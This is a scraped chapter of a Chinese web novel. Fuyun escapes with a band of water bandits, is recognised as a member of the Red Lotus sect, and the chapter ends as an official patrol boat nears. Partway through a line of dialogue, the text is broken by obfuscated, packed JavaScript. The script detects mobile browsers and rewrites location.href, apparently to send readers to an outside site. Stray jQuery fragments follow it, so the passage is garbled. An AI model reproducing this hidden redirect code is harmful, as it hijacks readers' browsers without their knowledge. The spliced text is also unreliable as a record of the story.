默认冷灰
24号文字
方正启体

44. 同袍之谊

作者:千章客本书字数:K更新时间:
    弗筠随芸娘他们凫水游过一片水域,各自爬上藏在芦苇荡深处的几艘小船。


    举事计划中途夭折,如今连自身安危都不能确保,是铤而走险还是断臂求生,一行人都等着芸娘拿主意。


    方才那个要杀章舜顷的水匪暴起道,“就该杀了那个狗官一了百了,省得惹出许多麻烦来,趁着他们药劲儿还没过,我去放把火烧了船,今晚的事情便无人知晓了。”


    弗筠怒目而视,道,“那船上的奴仆又何其无辜,为何要白白送了命。”


    水匪被她呛得脸红脖子粗,将手里的桨一把扔在船上,没好气道,“那我们就干脆等死吧。”


    “冬哥儿,你别整天跟炮仗似的一点就着,能不能好好说话。”芸娘横了那位名唤冬哥儿的水匪一眼,转而稳住神道,“回家通知其他教徒起义之事作罢,至于咱们几个,先回雾螺岛避风头。”


    听了这话,众人面面相视,再无人反驳,各自拎起桨板。


    芦苇荡高过人头,其内回环曲折,最狭窄处将将能容纳船身通行,然而他们操桨动作灵巧,如入无人之境,船只经过时,两侧芦苇只轻微晃了晃。


    浓稠的夜色里,众人无声赶路,既像亡命天涯,又像奔赴前路。


    芸娘为罗放仔细地处理着伤口,已是更深露重,寒意侵体,弗筠一身湿衣,冷颤不止,帮忙递伤药的手都在哆哆嗦嗦。


    芸娘见状,面露歉疚道,“我们都是粗人,皮糙肉厚的,船上也不备干衣裳,姑娘再忍忍,马上就到家了。”


    弗筠牙齿打着架,却仍摇头笑道,“无妨。芸娘,我们要去的雾螺岛是什么地方啊?”


    芸娘道,“是个无人的小岛,算是我们发家的地方,在淮安府的地界上,官兵要追也追不到那里去。”


    弗筠明白过来,他们这是要彻底重操旧业了,然而此刻她也想不到更好的出路。


    没办法,有些路就是稀里糊涂走成了那个样子。就像她当年一样,若非为了保命,谁又会主动没入风尘呢。


    芸娘见她默不作声,只当她是碍着情面不好说话,便道,“姑娘还年轻,不必跟着我们沦为草莽,你还有没有可以投靠的亲戚?我们可以沿路护送你。”


    弗筠默了默,道,“我有个表哥在兖州府的鹿鸣书院读书。”


    芸娘沉吟道,“那倒是也不算太远,等我们在雾螺岛安定下来,就送你去找你表哥。这一路都不太平,我们总归有些傍身功夫,对付一般贼人还是够用的。”


    弗筠万分感激地点头应下。


    船只驶出几里地开外,终于停靠岸边,将船只系好,一行人便各回各家。


    弗筠自是跟着芸娘回家,同行的还有背着罗放的冬哥儿。她一路攀谈得知,冬哥儿是罗放的亲弟弟,名唤罗冬,芸娘则是罗放的妻子。


    一间不起眼的茅草屋,只有正屋三间房,东西两间都是卧房,中间堂屋还搭了一口灶台,连通着东屋的火炕。


    这在江南地区并不多见。


    弗筠按捺下心头好奇,自己去了西屋换上芸娘的粗布衣裳,上衣下裤,外系一条及膝短裙,布料粗糙甚至有些扎人,行动起来却利落不误事。


    她还学着芸娘也将发髻用头巾包了起来,饶有兴致地打量着这身装扮。


    “让路。”


    弗筠抬头瞧见罗冬那张臭脸,正一脸不悦地看着她。她挡在不算宽敞的门前,没了他过路的余地,只好闪身让开。


    罗冬绕过她进屋,将门关得砰砰作响,弗筠冲着那扇门瘪了瘪嘴,便去东屋帮芸娘收拾行囊,开口道,“芸娘,你可是北方人?”


    芸娘从衣裳堆里抬起头来,愣了一愣,便见她手指火炕,顿时意会,笑道,“姑娘倒是伶俐,见微知著。不过我有些好奇,你怎么一猜就猜到我头上了?”


    弗筠不好意思地笑笑,“也没什么见微知著的,我也是从北方来的,所以认识这火炕。罗家两位兄弟说话听着有些南音,芸娘你却是一口纯正官话,自然就猜到你头上了。”


    “乡音这东西,真是时隔多年也变不了。”芸娘面上闪过一丝微不可察的黯然,却准确无误地落入弗筠眼中,她接着问道,“芸娘,你老家是哪里的?”


    “北直隶的。”芸娘说完这话便没了下音。


    北直隶下辖之地,那可多了去了,她这样说,就是不便交浅言深的意思,弗筠深谙察言观色之道,便也自觉揭过这茬不提。


    芸娘做事干练,毫不拖泥带水,很快就收拾好两个包袱,其他人也前后脚带着行囊返回芸娘家中聚首,一行人不敢耽搁,趁着夜色乘船上路。


    为便赶路,他们换了两艘有篷舱的渔船,如此吃住都可在船上解决。


    已至五更天,众人都一夜未歇,身后尚无追兵,生出一丝劫后余生的松懈,困意随之袭上来,便横七竖八地躺在舱里歇觉,只每隔一个时辰换人控橹划船。


    弗筠和另外受了重伤的三人免去此差,在摇摇晃晃的船里睡得格外香甜,等她一觉醒来时,已是日上三竿。


    船上另外五人都已转醒,连负伤的罗放也苏醒过来,正在就着芸娘的手嚼干粮。


    弗筠忙一骨碌爬起,不期起身太快,脖颈突然一闪,不由抽痛叫了一声,舱内目光刷刷向她涌来。


    芸娘笑道,“可是落枕了?等会儿我帮你正过来就好了。”


    弗筠正按揉着僵硬的脖子,听到这话不免想起她昨日分辨药物时十分胸有成竹的模样,便好奇问道,“芸娘,你还会医术吗?”


    “略知一二罢了。”芸娘浅笑道。


    船尾摇橹的崔猛.插话:“那哪能是一二啊,我们这些年刀尖舔血还能好端端活到现在,可全仰仗着芸娘妙手回春的医术呢,只要还剩一口气,经了芸娘的手,隔日就能活蹦乱跳。”


    他这一番说笑将众人都逗乐了,芸娘白他一眼,道,“越说越邪乎了。”


    弗筠脸上亦挂着笑,目光却静静地落在芸娘身上,欣赏中带着些许幽不可察的探究之意。


    见到她这般不寻常的神色,罗放不由微微眯起了眼,他昨夜再度被关进舱室后,就因失血过多昏迷不醒,这还是两人头一次正式打照面。


    方才芸娘已将她昨夜听到的对话简要相告,可他心里的怀疑和警惕并没有完全打消,问道,“姑娘也是红莲教的人?”


    弗筠坦然地迎接着他的注视,“是。”


    “姑娘身上可有信物?”罗放问道。


    弗筠笑了笑,从脖颈上取下一条用红绳串起的项链,吊坠是一枚指甲盖大小的红宝石,雕刻成莲花形状,仔细一看,莲花心处还镶嵌着一颗针眼大的金粒,在日光下熠熠生辉。


    这是上回见面时宋之平交给她的信物。


    罗放瞳孔一缩,惊讶道,“你是红莲教正宗涅槃堂的人?”


    此话一出,在场之人看弗筠的眼神瞬间多了些敬畏之意,弗筠满意地欣赏着众人的反应,笑着将项坠收了回去,道,“如此可信了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023043|193548||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    罗放面上的震撼仍没有消散,忙道,“失敬失敬。昨夜若非姑娘相救,我等只怕早已殒命,救命之恩没齿难忘。”


    弗筠顺着他的话说下去:“同教即为同袍,哪有路见不平坐视不理的呢,举手之劳不足挂齿。”


    若说他们先前对弗筠还多多少少有些微词,那么眼下就只剩肝脑涂地以身相报的感激了。


    只有芸娘不免为弗筠担忧,“可姑娘总归是因为救我们才暴露了身份,不知有没有因此打乱涅槃堂的计划。”


    涅槃堂的计划弗筠倒是不知,可她的计划确实因此泡汤了。


    参加钦天监遴选考核之事是没戏了,只要章舜顷还活着,她就再无任何现身朝堂的可能。


    如今只能被迫选择宋之平给她指的另一条路,去投靠她那位死里逃生的姐夫了。


    罗冬话糙理不糙,要是章舜顷死了就好了,一了百了,再无这些烂摊子。


    都怪她一时心慈手软。


    到底为何要救他呢?其实弗筠至今也没彻底想明白。


    大概是见他猝然晕倒失了血色的模样十分脆弱可怜罢了。


    彼时,他脸上没有半点儿平素倨傲讨人厌的痕迹,陌生得像是另一个人,她不忍旁观那样一个陌生人在自己眼前死去。


    眼看着他的生机在一点点消散,像在拼命握在手心却不可避免地从指缝里溜走的沙。


    她很害怕看见摊开掌心却发现空无一物的结果,也不知该如何去面对这样的结果。


    所以才稀里糊涂地放了他一马。


    ……


    弗筠兀自沉思着,连芸娘的话也忘了回答。


    芸娘等人不知她心里的千回百转,自然地将她的沉默失神理解成了确有其事,心里愈发歉疚不安。


    救命之恩兼着亏欠之心,让弗筠在白浪教这里享受到了至高无上的礼遇,就连从没给过她好脸色的罗冬,也调转了态度,每餐都会特意将最软和的饼子留给她。


    弗筠受宠若惊而又良心不安地享受着。


    不知是因为芸娘那一击下了死手,让章舜顷仍陷昏迷或已至弥留,还是因为他们日夜兼程,成功将官兵远远甩在了身后,前两日,路上都毫无风波,抵达扬州后,他们还停靠码头,上岸采买了些吃食等必要补给。


    扬州城尚未张贴通缉画像,弗筠也放下心来去了一趟当铺。


    她现在全身家当只有安阳长公主的几样贵重首饰,可以抵换些银钱,以贴补路费。


    当然,弗筠自是不敢原模原样地将首饰卖掉,唯恐章舜顷顺着蛛丝马迹找上门来,只掰下几颗珍珠零零散散地当出去,略换得几两银子。


    然而她的银子还没捂热,立刻就花了出去。


    起初的紧张和兴奋过后,整日在船上晃晃悠悠的弗筠,终是扛不住开始晕船,趴在船舷边,吐得昏天黑地。


    沿路码头都有贩卖晕船药的摊子,据芸娘亲自检验过药效可靠,弗筠便买了许多,以供来日路上服用。


    这日行近界首镇,弗筠服了药,依旧照芸娘吩咐趴在船头看水线,嘴里机械地嚼着姜片醒神,眼皮子恹恹地耷拉着,昏昏沉沉中忽然觉得船只航行速度缓了下来。


    睁开眼睛,便见船只行至一处略狭窄的河道,前后船只渐渐排成一线,几乎首尾相接。


    不远处的有一艘慢慢接近的小船,船头挑着巡检司的旗帜,官差目光如鹰隼般扫过每条船。


    她登时恢复了清醒。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)